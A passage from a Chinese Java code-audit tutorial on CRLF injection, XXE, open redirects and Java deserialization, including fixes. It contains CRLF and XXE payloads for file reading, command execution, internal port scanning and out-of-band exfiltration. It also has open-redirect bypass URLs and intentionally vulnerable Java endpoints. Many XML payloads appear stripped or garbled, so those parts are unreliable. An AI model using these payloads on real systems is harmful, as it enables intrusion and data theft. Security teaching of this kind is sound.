同时又因为添加了两个CRLF的情况,JS脚本会被识别为HTTP响应正文被浏览器执行,那么就会产生反射性XSS攻击。

4、CRLF漏洞检测

CRLF注入漏洞的本质和XSS有点相似,攻击者将恶意数据发送给易受攻击的Web应用程序,Web应用程序将恶意数据输出在HTTP响应头中。(XSS一般输出在主体中)。

所以CRLF注入漏洞的检测也和XSS漏洞的检测差不多。通过修改HTTP参数或URL,注入恶意的CRLF,查看构造的恶意数据是否在响应头中输出。

找到输入点,构造恶意的CRLF字符:

正常请求:

抓包,在请求行的url参数中加入特殊构造的CRLF字符,如下图标记所示:

 Java代码审计详解_第102张图片

查看恶意数据是否在响应头中输出:

将修改后的请求包提交给服务器端,查看服务器端的响应。发现响应首部中多了个Set-Cookie字段。这就证实了该系统存在CRLF注入漏洞,因为我们输入的恶意数据,作为响应首部字段返回给了客户端。 

Java代码审计详解_第103张图片

很多人看到这里可能就想不明白,我请求包写入的恶意数据,怎么就被当成响应首部字段输出了?下面我们来看看服务器端源代码。

Java代码审计详解_第104张图片

这是其中一段代码,用PHP写的,需要大家有一定的语言基础。看不懂也没关系,我后期会写PHP系列文章。这段代码的意思是:当条件满足时,将请求包中的url参数值拼接到Location字符串中,并设置成响应头发送给客户端。

此时服务器端接收到的url参数值是我们修改后的:

http://itsecgames.blogspot.com%0d%0aSet-Cookie:crlf=true

 在url参数值拼接到Location字符串中,设置成响应头后,响应包此时应该是下图这样的:

Java代码审计详解_第105张图片

%0d和%0a分别是CR和LF的URL编码。前面我们讲到,HTTP规范中,行以CRLF结束。所以当检测到%0d%0a后,就认为Location首部字段这行结束了,Set-Cookie就会被认为是下一行,如下图所示:

Java代码审计详解_第106张图片

而我们构造的Set-Cookie字符在HTTP中是一个设置Cookie的首部字段,这个时候就会将crlf=true设置成Cookie。

Java代码审计详解_第107张图片

 重新请求,抓包,发现Cookie中多了crlf=true。

测试的用例大家可能会觉得这漏洞没什么危害性,但试想一下:利用漏洞,注入一个CRLF控制用户的Cookie,或者注入两个CRLF,控制返回给客户端的主体,该漏洞的危害不亚于XSS。

5、CRLF漏洞Java代码审计

http://test.com/?url=http://www.baidu.com%0d%0a%0d%0a

那么我们的响应头将会变成:

HTTP/1.1 302 Moved Temporarily Date: Wed, 29 Jan 2020 20:49:33 GMT Content-Type: text/html 
Content-Length: 154 
Connection: close  
Location:http:www.baidu.com

但这个问题实际上已经在所有的现在的java EE应用服务器上修复了。如果你想关注这个漏洞,你应该在目标平台测试是否允许将CRLF插入到HTTP头中。不出意外的话,这个漏洞已经在大部分的目前的应用服务器上修复了,无论是用什么语言编写的。

核心代码如下:

@RequestMapping("/crlf") 
public class CRLFInjection {
    @RequestMapping("/safecode")
    @ResponseBody
    public void crlf(HttpServletRequest request, 
        HttpServletResponse response) {
        response.addHeader("test1", request.getParameter("test1"));
        response.setHeader("test2", request.getParameter("test2"));
        String author = request.getParameter("test3");
        Cookie cookie = new Cookie("test3", author); 
        response.addCookie(cookie);
    }
}

JAVA EE已经修复了该问题,因此在java几乎不存在CRLF注入漏洞,主要判断JDK  1.7之前的,是否将前端获取的值写入到 response对象中。

?test1=111%0d%0ax&test2=111%0d%0a111

Java代码审计详解_第108张图片

6、CRLF漏洞防护

1. 服务端前增加WAF进行防护。

2. 服务端过滤 \r ,\n 之类的行结束符,避免输入的数据污染其他 HTTP 首部字段。

十一、XXE代码审计及修复方法

1、XML基础

XML(eXtensible Markup Language)是一种结构性标记语言,在格式上类似于HTML。可用来标记数据,定义数据类型,传输数据。与HTML不同的是,XML的所有数据标签都没有被预定义,因此用户必须自行定义标签后才能使用。

DTD(文档类型定义,Document Type Definition)的作用是定义 XML 文档的合法构建模块。它使用一系列的合法元素来定义文档结构。

 一个XML文档包含XML声明,DTD文档类型定义及文档元素三个部分组成。

实体的分类

在XML文档中,“实体”可以被理解成变量。实体主要包括命名实体、字符实体、外部实体、参数实体。除参数实体外,其它实体都以字符(&)开始,以字符(;)结束。

1)命名实体

内部实体又称为命名实体。命名实体可以说成是变量声明,命名实体只能声明在DTD或者XML文件开始部分(语句中)。

命名实体(或内部实体)语法:

 


]>
&x;&y;

  上述代码定义了两个命名实体,一个名称为x,值为“a”;另一个名称为y,值为“b”。

  如果引用这两个实体:

&x;&y;

即会替换成这两个实体的值“ab”。

2)字符实体

字符实体与HTML实体编码类似,可以用字符ASCII码的十进制或十六进制来表示,如小写字母a可以用a;或a;来表示。除此之外,XML文档中还规定了一系列定义好的“字符引用”,使用特殊的字母组合来表示某些特殊字符,如“<”用“&It; ;”表示等。

3)参数实体

参数实体多用于DTD和文档元素中,与一般实体相比,它以字符%开始,以字符;结束。只有在DTD文件中进行参数实体声明的时候才能引用其他实体,XXE攻击经常结合利用参数实体进行数据回显。



   
   
   
   %dtd;
]>
&content;

其中是XML引用外部实体DTD的方式。

combine.dtd中的内容为:

在外部combine.dtd文件中,通过引用上述三个参数实体,并把这三个参数实体的内容拼合起来,然后将其命名为“content”内部实体。此时在XML文档中引用这个内部实体,其输出的内容就会变为“Hello World”。

4)外部实体

外部实体用于加载外部文件的内容。(显式XXE攻击主要利用外部普通实体)

外部实体可支持http、file、ftp、https、php等协议。XXE漏洞主要与外部实体有关。

外部实体声明格式为:


 
]>
&outfile;

2、XXE漏洞

XXE(外部实体注入)是XML注入的一种,普通的XML注入利用面比较狭窄,如果有的话也是逻辑类漏洞XXE扩大了攻击面

任何可以上传XML文件的位置都有可能存在XXE漏洞。若没有对上传的XML文件进行过滤,可导致上传恶意文件。

当允许引用外部实体时,就可能导致一下危害:

  1. 任意文件读取
  2. 系统命令执行
  3. 内网端口探测
  4. 攻击内网网站
  5. 钓鱼

(1) 任意文件读取

如果攻击者可以控制服务器解析的XML文档的内容,引入攻击者想要读取的文件内容作为外部实体,即可尝试读取任意的文件内容。如攻击者构造如下的XML文档就会将/etc/passwd文件的内容引入进来并回显在页面中,造成敏感文件内容泄露。



]> 
&xxe;

(2) 执行系统命令

如果服务器环境中安装了某些特定的扩展,即可利用其造成任意命令执行,如攻击者构造如下的XML文档:



]>
&xxe;

在安装expect扩展的PHP环境中,PHP解析上面的XML文档,即会执行whoami的系统命令,并将结果回显。

(3) 探测内网接口

如果Web服务器的的执行环境在内网,则可以通过请求内网IP的某个端口来判断该IP 的相应端口是否开放,这可以通过直接引用外部实体的方式引入要访问该端口的链接即可实现:

<?xm1 version="1.0" encoding="utf-8"?>
<!DOCTYPE ANY [ 
   <!ENTITY xxe SYSTEM http://192.168.1.1:81/mark
]>
&xxe

如果回显结果为“Connection Refused”,即可以判断该IP的81端口是开放的。

(4) 攻击内网环境

服务器执行XML文档的环境本身在内网,因此XXE漏洞就类似于SSRF攻击,再结合内网中其他主机的漏洞,进一步进行内网渗透。

3、XXE漏洞利用案例

1. 构建XXE漏洞

(1)直接通过DTD外部实体声明


]>

(2)通过DTD文档引入外部DTD文档,再引入外部实体声明

dtd文档内容:

(3)通过DTD文档引入外部实体声明


   %d;
]>

dtd文档内容:

2. 文件读取

利用file:// php://等伪协议进行文件获取(获取代码最好使用php://file://进行base64编码)

php://filter/convert.base64-encode/resource=1.php
]>----DTD部分

	
		John
		I love XML
		Computers------XML部分
		9.99
		2018-10-01
		&xxe;---内容在$xxe处回显

3. 系统文件读取

]>----DTD部分

	
		John
		I love XML
		Computers------XML部分
		9.99
		2018-10-01
		&xxe;

4. 内网主机扫描

利用协议和ip地址最后一位字典遍历,结合Brup爆破返回数据包长度判断:

]>----DTD部分

	
		John
		I love XML
		Computers------XML部分
		9.99
		2018-10-01
		&xxe;

5. 端口探测

代码将尝试于端口8080通信,根据响应事件/长度攻击者可以判断该端口是否被开启:

]>----DTD部分

	
		John
		I love XML
		Computers------XML部分
		9.99
		2018-10-01
		&xxe;

6. 远程代码执行

这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,主要是由于配置不当/开发内部应用导致的,且PHP的expect模块被加载到了易受攻击的系统或处理XML的内部应用上,那么我们就可以执行如下命令:

]>----DTD部分

	
		John
		I love XML
		Computers------XML部分
		9.99
		2018-10-01
		&xxe;

7. Blind OOB XEE

很多时候XXE并不会把我们想要 读取的内容直接返回给我们(没有回显)类似于SQL注入中的盲注一样,关键数据不会直接显示在界面或则数据包中

利用file_put_contents写文件

这里XXE如果无回显,采用构建一条外带数据(OOB)通道把数据带出来直接写文件已达到读取数据的目的

构造payload1:

]
%remote
%int
%send
>----DTD部分  从192.168.1.1下载payload2

	
		John
		I love XML
		Computers------XML部分
		9.99zhe
		2018-10-01
		&xxe;

payload2:

]>
">]>

4、XXE漏洞Java代码审计

1)xmlReader

从request中获取到内容后直接使用parse将其进行执行,期间并未禁止解析外部实体类,无回显。

@PostMapping("/xmlReader/vuln")
public String xmlReaderVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);
            XMLReader xmlReader = XMLReaderFactory.createXMLReader();
            xmlReader.parse(new InputSource(new StringReader(body)));  // parse xml
            return "xmlReader xxe vuln code";     
        } catch (Exception e) {
            logger.error(e.toString()); 
            return EXCEPT;
        }
}

2)SAXBuilder

无回显,借助dnslog查看回显内容:

@RequestMapping(value = "/SAXBuilder/vuln", method = RequestMethod.POST)
public String SAXBuilderVuln(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);
        SAXBuilder builder = new SAXBuilder(); // org.jdom2.Document document             
        builder.build(new InputSource(new StringReader(body)));  // cause xxe
        return "SAXBuilder xxe vuln code";     } catch (Exception e) {
        logger.error(e.toString()); return EXCEPT;
     }
}

3)SAXReader

saxReader是第三方的库,该类是无回显的。

saxReader是第三方的库,该类是无回显的
@RequestMapping(value = "/SAXReader/vuln", method = RequestMethod.POST)
public String SAXReaderVuln(HttpServletRequest request) {
        try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);
        SAXReader reader = new SAXReader(); // org.dom4j.Document document 
        reader.read(new InputSource(new StringReader(body))); // cause xxe
        } catch (Exception e) {
        logger.error(e.toString()); 
        return EXCEPT;
        }
        return "SAXReader xxe vuln code";
}

4)SAXParser

SAXParser该类也是JDK内置的类,但他不可回显内容,可借助dnslog平台。

//该类也是JDK内置的类,但他不可回显内容,可借助dnslog平台@RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
public String SAXParserVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);
            SAXParserFactory spf = SAXParserFactory.newInstance();
            SAXParser parser = spf.newSAXParser();
            parser.parse(new InputSource(new StringReader(body)), new DefaultHandler());  // parse xml
             return "SAXParser xxe vuln code";     
        } catch (Exception e) {
            logger.error(e.toString()); 
            return EXCEPT;
    }
}

5)Digester

无回显

@RequestMapping(value = "/Digester/vuln", method = RequestMethod.POST)
public String DigesterVuln(HttpServletRequest request) {
        try {
            String body = WebUtils.getRequestBody(request);
            logger.info(body);

            Digester digester = new Digester();
            digester.parse(new StringReader(body));  // parse xml
          } catch (Exception e) {
            logger.error(e.toString()); 
            return EXCEPT;
            }
    return "Digester xxe vuln code";
}

6)DocumentBuilder

DocumentBuilder有回显:

// 有回显
@RequestMapping(value = "/DocumentBuilder/vuln01", method = RequestMethod.POST)
public String DocumentBuilderVuln01(HttpServletRequest request) {
    try {
        String body = WebUtils.getRequestBody(request);
        logger.info(body);
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
        DocumentBuilder db = dbf.newDocumentBuilder();
        StringReader sr = new StringReader(body); 
        InputSource is = new InputSource(sr);
        Document document = db.parse(is);  // parse xml
        // 遍历xml节点name和value
        StringBuilder buf = new StringBuilder(); 
        NodeList rootNodeList = document.getChildNodes();
        for (int i = 0; i < rootNodeList.getLength(); i++) {
            Node rootNode = rootNodeList.item(i);
            NodeList child = rootNode.getChildNodes();
        for (int j = 0; j < child.getLength(); j++) {
            Node node = child.item(j);
            buf.append(String.format("%s: %s\n",node.getNodeName(),node.getTextContent()));
        }
    }
            sr.close();
            return buf.toString();
     } catch (Exception e) {
            logger.error(e.toString()); 
            return EXCEPT;
    }
}

有回显payload:

  ]> 
&goodies;

Java代码审计详解_第109张图片

修复方法:

DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

5、XXE漏洞防御

1. 禁用外部实体的引入,比如:使用libxmldisableentity_loader(true)等方式。

2. 过滤如SYSTEM等敏感关键字,防止非正常、攻击性的外部实体引入操作。

针对前面五种无法回显的方法,可以使用deslog来证明其是否存在盲xxe:

DNSLog Platform

a. 什么是dnslog

DNSlog是什么?DNSlog就是存储在DNS服务器上的域名信息,它记录着用户对域名www.baidu.com等的访问信息,类似日志文件;

b. dnslog通常用在哪个地方

1. SQL盲注
2. 无回显的XSS
3. 无回显的命令执行
4. 无回显的SSRF
5. Blind XXE

举例:

先由dnslog生成urlly4vxe.dnslog.cn

payload:


]>
&xxe;

POST /xxe/SAXBuilder/vuln

以上面任意无回显方法进行实验:

Java代码审计详解_第110张图片

访问记录: 

Java代码审计详解_第111张图片

十二、url重定向审计及修复方法

1、url重定向漏洞简介

开放重定向(CWE-601: URL Redirection to Untrusted Site),也叫URL跳转漏洞,是指服务端未对传入的跳转url变量进行检查和控制,导致诱导用户跳转到恶意钓鱼网站,由于是从可信的站点跳转出去的,用户会比较信任。

这个过程很简单,例如下述流程:

Java代码审计详解_第112张图片

现在 Web 登录很多都接入了QQ、微信、新浪等第三方登录,以 QQ 第三方授权登录为例说明,在我们调用 QQ 授权服务器进行授权时,会在参数中传入redirect_url(重定向)地址,告知 QQ 授权服务器,授权成功之后页面跳转到这个地址,然后进行站点登录操作。

但是如果你的重定向地址在传输过程中被篡改成了一个钓鱼网址,那么就是导致用户的授权信息被非法获取。当然,QQ 第三方登录,也会有自己的策略,就是接入 QQ 第三方登录的应用,会在开发者平台,配置相关的跳转白名单,只有属于白名单中的域名、子域名或 url ,QQ授权服务器才跳转,如果发现 redirect_url 不合法,则跳转到非法页面。

2、url重定向漏洞产生原因

该漏洞的几个常见原因:

  1. 代码层忽视URL跳转漏洞,或不知道/不认为这是个漏洞; 属于未校验的情况,例如上节例子所示
  2. 代码层过滤不严,用取子串、取后缀等方法简单判断,代码逻辑可被绕过; 属于开发人员意识到该风险已经设计实现了重定向校验,但是校验方法有漏洞,导致绕过
  3. 对传入参数操作(域名剪切/拼接/重组)和判断不当,导致绕过;属于开发人员意识到该风险已经设计实现了重定向校验,但是校验方法有漏洞,导致绕过
  4. 原始语言自带的解析URL、判断域名的函数库出现逻辑漏洞或者意外特性;该问题源于开发者使用函数库自带的安全特性去校验URL合法时存在漏洞,造成校验的绕过。可见下文的CVE-2017-7233讲解
  5. 服务器/容器特性、浏览器等对标准URL协议解析处理等差异性导致被绕过;

3、url重定向漏洞利用

漏洞利用前提:

  1. URL从用户可控制的输入中提取;
  2. 该URL未经验证,就被用于网络应用程序的重定向地址。
  3. 常见于任何需要跳转处。

用户登录、统一身份认证处,认证完后会跳转;
用户分享、收藏内容过后,会跳转;
跨站点认证、授权后,会跳转;
站内点击其它网址链接时,会跳转;
图片上传处(暴露图片存放路径的,并且可以修改的情况下);

常见的参数名:

redirect 
redirect_to 
redirect_url 
url jump 
jump_to 
target 
to
link 
linkto 
domain

可能性比较高的URL链接格式:http://www.aaa.com/bbb?url=http://ccc.com,如果成功跳转指定的URL,说明存在URL跳转漏洞。

但是,如果没有成功跳转,不能说明不存在URL跳转漏洞。后台可能会对用户请求的链接进行处理。这里我们要尝试绕过。

aaa.com是含有URL重定向漏洞的网站, ccc.com是需要跳转到的网站。

1. 利用问号绕过

格式:

http://www.aaa.com/bbb?url=http://ccc.com?aaa.com

注意:一定要带上aaa.com。

跳转后的url是:

http://ccc.com?aaa.com

2. 利用反斜杠和正斜杠绕过

正斜杠:

http://www.aaa.com/bbb?url=http://ccc.com/aaa.com

反斜杠:

http://www.aaa.com/bbb?url=http://ccc.comaaa.com

" . ":

http://www.aaa.com/bbb?url=http://ccc.com.aaa.com

3. 利用@绕过

格式:

http://www.aaa.com/bbb?url=http://[email protected]

疑似只有火狐浏览器可以使用该方法。

4. 利用白名单缺陷绕过

白名单的限制往往是不全面的,例如该网站想跳转到自己的内部页面,而只检查跳转url中有没有白名单的内容:

http://www.aaa.com/bbb?url=http://cccaaa.com

购买cccaaa.com的域名,这样也是可以绕过的。

5. 多重验证&跳转绕过

现在很多网站都有多重验证,比如你登陆账户后会出现另一个验证页面,输入手机验证码进行验证,此时这上面的URL很可能存在任意跳转的问题。

http://www.aaa.com/acb?Url=http: … ttp://login.aaa.com

当然,还有多重的,结构的多重跳转你修改最后面的URL就可以达到任意URL跳转,中间的URL就没必要动了。

6. 点击触发实现绕过

很多登陆页面的地方,其URL是一个跳转的URL,假如某一个登录页面,修改url:

http://www.aaa.com/bbb?url=http://ccc.com

登录用户,有可能触发。

7. 利用xip.io绕过

格式:

http://www.aaa.com/bbb?url=http://www.aaa.com.ccc.com.xip.io

但是没有成功,暂且保留。

8. 利用超链接绕过可信站点限制

比如一个URL,它是可以直接跳转的,但是一般测试跳转时大家习惯用www.baidu.com或qq.com这样的可信站点进行测试,但是有些网站是可以跳转这些网站的。

只要是可信站点且常用,基本都可以跳转,那么这就属于正常的业务逻辑了,难度就这样错失一个URL跳转漏洞了?

其实不然,只要你的URL被百度收录过,那么直接搜索你的域名,site:xxx.xxx
因为你在百度里点击你的域名,它会先是一个302跳转,而这个302跳转就是百度下的302跳转,那么这样就可以绕过可信站点的限制,从而达到跳转到指定URL。

当然,百度这个302有点长,你给它进行加密就行,利用百度缓存链接,在其上再进行跳转。

9. POST参数中的URL跳转

常见于上传图片、头像处。如果过滤不严,将会把图片的完整地址包含在POST参数里,这里我们修改其地址为ccc.com。

由于修改了地址,图片就会显示不出来,右键查看图片,就会触发URL跳转(可以配合其他绕过方式)。如果POST参数里就只是URL跳转参数,那么你可以给它转成GET方式,然后进行跳转就可以了,只要网站支持这样的GET方式就行。在Burp Suite里可以一键转换提交方式,右键选择Change request method就可以!

10. 利用#号绕过

格式:

http://www.aaa.com/bbb?url=http://ccc.com#aaa.com

11.  其他绕过思路

1. 跳转到IP地址,而不是域名;

2. 跳转到IPV6地址,而不是IPv4地址;

3. 将要跳转到的IP地址用10进制、8进制、16进制形式表示;

4. 更换协议,使用ftp、gopher协议等;

5. 借鉴SSRF漏洞绕过的tricks;

6. CRLF注入不能xss时,转向利用任意URL跳转漏洞;

4、漏洞危害

URL跳转漏洞本身属于低危漏洞,但可以结合其他漏洞加以深入利用,主要的利用方式不仅限于钓鱼攻击,包括:

  1. xss漏洞:通过javascript:alert(0)或CRLF;
  2. 获取用户权限(伪造钓鱼网站、窃取登录凭证token);
  3. 绕过检测(窃取CSRF token,绕过SSRF、RCE黑名单);
  4. 高级利用方法(配合其他功能/漏洞)。

用户的访问可能会被重定向到不可靠的网页。不可靠网页中可能存在恶意软件并可能攻陷用户电脑。一旦用户电脑被攻陷,用户就暴露在大量各种网络危机中。而且用户和网络服务器的交互也可能被攻陷,导致个人身份,密码等关键敏感信息的泄漏。

5、url重定向Java代码审计

url跳转中最常见的跳转在登陆口,支付口,也就是一旦登陆将会跳转任意自己构造的网站,如果设置成自己的url则会造成钓鱼。

url跳转常见的地方:

1. 登陆跳转我认为是最常见的跳转类型,认证完后会跳转,所以在登陆的时候建议多观察url参数。

2.    用户分享、收藏内容过后,会跳转
3.    跨站点认证、授权后,会跳转
4.    站内点击其它网址链接时,会跳转
5.    在一些用户交互页面也会出现跳转,如请填写对客服评价,评价成功跳转主页,填写问卷,等等业务,注意观察url。
6. 业务完成后跳转这可以归结为一类跳转,比如修改密码,修改完成后跳转登陆页面,绑定银行卡,绑定成功后返回银行卡充值等页面,或者说给定一个链接办理VIP,但是你需要认证身份才能访问这个业务,这个时候通常会给定一个链接,认证之后跳转到刚刚要办理VIP的页面。

url跳转常用到的参数:

redirect 
url 
redirectUrl 
callback 
return_url 
toUrl 
ReturnUrl 
fromUrl 
redUrl 
request 
redirect_to
redirect_url 
jump
jump_to 
target
to
goto
link
linkto
domain
oauth_callback

核心代码:

1. 重定向跳转(ViewResolver)

@GetMapping("/redirect")
public String redirect(@RequestParam("url") String url) {
        return "redirect:" + url;
}

2. 301跳转

@RequestMapping("/setHeader")
@ResponseBody
public static void setHeader(HttpServletRequest request, HttpServletResponse response) {
    String url = request.getParameter("url");
    response.setStatus(HttpServletResponse.SC_MOVED_PER MANENTLY); // 301 redirect
    response.setHeader("Location", url);
}

3. 302跳转

@RequestMapping("/sendRedirect")
@ResponseBody
public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException {
    String url = request.getParameter("url");    
    response.sendRedirect(url); // 302 redirect
}

修复方式:

转发(前往),服务器内部的重定向,在Servlet中通过RequestDispatcher转发给另一个程序处理请求,请求的数据依然在。所以forward相当于客户端向服务器发送一次请求,服务器处理两次,请求数据不会消失且URL地址只变化一次。

只能内部跳转:

@RequestMapping("/forward")
@ResponseBody
public static void forward(HttpServletRequest request, HttpServletResponse response) {
    String url = request.getParameter("url");
    RequestDispatcher rd = request.getRequestDispatcher(url);
    try {
        rd.forward(request, response);     
    } catch (Exception e) {
         e.printStackTrace();
    }
}

通过checkURL去检查输入的参数:

    @RequestMapping("/sendRedirect/sec")     
    @ResponseBody
    public void sendRedirect_seccode(HttpServletRequest request, HttpServletResponse response) throws IOException {
        String url = request.getParameter("url");         
            if (SecurityUtil.checkURL(url) == null) {
                response.setStatus(HttpServletResponse.SC_FORBIDDEN );
                response.getWriter().write("url forbidden");
                return;
            }
            response.sendRedirect(url);
        }
}

检测相关url是否在自己配置中,若不在则返回NULL:

/**
* 同时支持一级域名和多级域名,相关配置在resources目录下url/url_safe_domain.xml文件。
* 优先判断黑名单,如果满足黑名单return null。
*
* @param url the url need to check
* @return Safe url returns original url; Illegal
url returns null;
*/
public static String checkURL(String url) {
    if (null == url){
        return null;
    }
    ArrayList safeDomains = WebConfig.getSafeDomains();
    ArrayList blockDomains = WebConfig.getBlockDomains();
        try {
            String host = gethost(url);
            // 必须http/https
            if (!isHttp(url)) {
            return null;
        }
        // 如果满足黑名单返回null
        if (blockDomains.contains(host)){
            return null;
        }
        for(String blockDomain: blockDomains) {
            if(host.endsWith("." + blockDomain)) {
                return null;
            }
        }
        // 支持多级域名
        if (safeDomains.contains(host)){
            return url;
        }
        // 支持一级域名
        for(String safedomain: safeDomains) {
            if(host.endsWith("." + safedomain)) {
                return url;
            }
        }
        return null;
    } catch (NullPointerException e) {
        logger.error(e.toString());
        return null;
    }
}

6、url重定向漏洞防御

1. 从实现角度,进行输入验证:对输入的信息进行验证。 比如说使用已知的有效输入验证机制,或是制定严格的说明来规范输入的信息等等。对于不符合规范的输入,或者是拒绝接受,或者对输入进行转换净化,让它符合规范要求。

2. 从体系架构和设计上防范该安全漏洞,并尽量减少暴露的攻击面。

十三、Java反序列化漏洞

主要对Apache Commons Collections反序列化漏洞利用链进行分析学习,存在缺陷的版本是Apache Commons Collections 3.2.1以下。

JDK为1.7.0_80:Java Archive Downloads - Java SE 7

Apache Commons Collections 3.1版本:Index of /dist/commons/collections/source

1、Java执行程序

在Java中,可以通过java.lang.Runtime类方便的调用操作系统命令,或者一个可执行程序:

public class RuntimeTest {
    public static void main(String[] args) throws Exception{
        Runtime runtime = Runtime.getRuntime();
        runtime.exec("calc.exe");
    }
}

如上代码,可以打开windows系统的计算器。

Java代码审计详解_第113张图片

2、java反射机制

反射机制允许程序在运行期借助于Reflection API取得任何类的内部信息,并能直接操作任意类和对象的所有属性及方法。

要使用一个类,就要先把它加载到虚拟机中,在加载完类之后,堆内存的方法区中就产生了一个Class类型的对象(一个类只有一个class对象),这个对象就包含了完整的类的结构信息,我们可以通过这个对象看到类的结构,这个对象就像一面镜子,透过镜子可以看到类的结构,所以形象的称之为:反射。

反射中会经常使用到的方法:

1、获取Class实例的方式
   方式1:调用运行时类的属性 .class
   方式2:通过运行时的对象调用getClass()
   方式3:调用Class的静态方法:forName(String classPath)
   方式4:使用类的加载器  classloader
2、创建运行时类的对象
   newInstance()  调用此方法,创建对应的运行时类的对象
3、获取运行时类的结构
   getFields()  获取当前运行时类及其父类中声明为public访问权限的属性
   getDeclaredFields()  获取当前运行时类中声明的所有属性,不包含父类
   getMethods() 获取当前运行时类及其所有父类声明为public的方法
   getDeclaredMethods()  获取当前运行时类中声明的方法,不包含父类
   getConstructors() 获取当前运行时类声明为public的构造器
   getDeclaredConstructors()  获取当前运行时类中声明的所有构造器
   invoke()方法允许调用包装在当前Method对象中的方法

反射示例:

如下代码中,Object i = m1.invoke(r1, 1, 2)的作用是:使用r1调用m1获得的对象所声明的公开方法即print,并将int类型的1,2作为参数传入:

import java.lang.reflect.Method;
public class test {
    public static void main(String[] args) {
        Reflect r1=new Reflect();
        //通过运行时的对象调用getClass();
        Class c=r1.getClass();
        try {
            //getMethod(方法名,参数类型)
            //getMethod第一个参数是方法名,第二个参数是该方法的参数类型
            //因为存在同方法名不同参数这种情况,所以只有同时指定方法名和参数类型才能唯一确定一个方法
            Method m1 = c.getMethod("print", int.class, int.class);
​
            //相当于r1.print(1, 2);方法的反射操作是用m1对象来进行方法调用 和r1.print调用的效果完全相同
            //使用r1调用m1获得的对象所声明的公开方法即print,并将int类型的1,2作为参数传入
            Object i = m1.invoke(r1, 1, 2);
​
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}
class Reflect{
    public void print(int a,int b){
        System.out.println(a+b);
    }
}

使用反射机制执行命令,此处invoke(runtime,"calc.exe")的作用是使用runtime调用获得的Method对象所声明的公开方法即exec,并将calc.exe作为参数传入,而runtime为获取的Runtime.getRuntime实例对象。因此,此处代码相当于执行了Runtime.getRuntime( ).exec("calc.exe")。

熟悉这块的操作,后面会以此完成攻击链:

public class RuntimeTest {
    public static void main(String[] args) throws Exception {
        //forName(类名)  获取类名对应的Class对象,同时将Class对象加载进来。
        //getMethod(方法名,参数类型列表)  根据方法名称和相关参数,来定位需要查找的Method对象并返回。
        //invoke(Object obj,Object...args)  invoke允许调用包装在当前Method对象中的方法
​
        Object runtime=Class.forName("java.lang.Runtime").getMethod("getRuntime",new Class[]{}).invoke(null);    //获取一个Runtime的实例对象
​
        //调用Runtime实例对象的exec()方法,并将calc.exe作为参数传入
        Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(runtime,"calc.exe");
    }
}

如上,通过Java反射机制打开windows的计算器:

Java代码审计详解_第114张图片

Java中为什么要使用反射机制,直接创建对象不是更方便?

如果有多个类,每个用户所需求的对象不同,直接创建对象,就要不断的去new一个对象,非常不灵活。而java反射机制,在运行时确定类型,绑定对象,动态编译最大限度发挥了java的灵活性。

3、Java序列化和反序列化

Java序列化是指把Java对象转换为字节序列的过程,便于保存在内存、文件、数据库中。

即:对象—>字节流 (序列化)

Java反序列化即序列化的逆过程,由字节流还原成对象。

即:字节流—>对象(反序列化)

序列化的好处在于可将任何实现了Serializable接口的对象转换为字节数据,使其保存和传输时可被还原。

反序列化的操作函数:

java.io.ObjectOutputStream类中的writeObject( )方法可以实现Java序列化。
java.io.ObjectInputStream类中的readObject( )方法可以实现Java反序列化。

想一个Java对象是可序列化的,需要满足相应的要求:

1、实现Serializable接口或Externalizable接口
2、当前类提供一个全局常量 serialVersionUID
3、必须保证其内部所有属性也必须是可序列化的(默认情况下,基本数据类型可序列化)
4、ObjectInputStream和ObjectOutputStream不能序列化static和transient修饰的成员变量

Java反序列化示例:

import java.io.*;
public class Serialize {
    public static void main(String[] args) throws Exception {
        //序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("hello.txt"));
        oos.writeObject(new String("序列化"));
        oos.close();
​
        //反序列化
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("hello.txt"));
        Object o = ois.readObject();
        String s = (String) o;
        ois.close();
        System.out.println(s);
​
    }
}

反序列化漏洞成因:

序列化指把Java对象转换为字节序列的过程,反序列化就是打开字节流并重构对象,那如果即将被反序列化的数据是特殊构造的,就可以产生非预期的对象,从而导致任意代码执行。

Java中间件通常通过网络接收客户端发送的序列化数据,而在服务端对序列化数据进行反序列化时,会调用被序列化对象的readObject( )方法。而在Java中如果重写了某个类的方法,就会优先调用经过修改后的方法。如果某个对象重写了readObject( )方法,且在方法中能够执行任意代码,那服务端在进行反序列时,也会执行相应代码。

如果能够找到满足上述条件的对象进行序列化并发送给Java中间件,Java中间件也会去执行指定的代码,即存在反序列化漏洞。

4、Java集合框架

Java集合框架是对多个数据进行存储操作的结构,其主要分为Collection和Map两种体系:

Collection接口:单例数据,定义了存取一组对象的方法的集合
Map接口:双列数据,保存具有映射关系“Key-value”的集合

Apache Commons Collections:一个扩展了Java标准库里集合框架的第三方基础库。它包含有很多jar工具包如下图所示,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。

Java代码审计详解_第115张图片

5、Java反序列化漏洞

序列化(Serialize)指将一个java对象写入IO流中,与此对应的是,对象的反序列化(Deserialize)则指从IO流中恢复该java对象。序列化是让 Java 对象脱离 Java 运行环境的一种手段,可以有效的实现多平台之间的通信、对象持久化存储。

java的框架,java的应用程序,使用序列化,反序列化操作非常多。在漏洞挖掘中,代码审计中,安全研究中,反序列化漏洞是个重点项,不可忽视。尤其是java应用程序的rce,10个里面有7个是因为反序列化导致的rce漏洞。

一旦挖到反序列化漏洞,一般造成的风险极大。

6、Apache Commons Collections反序列化漏洞

Apache Commons Collections反序列化漏洞的主要问题在于Transformer这个接口类,Transformer类可以满足固定的类型转化需求,其转化函数可以自定义实现,漏洞点就在这里。

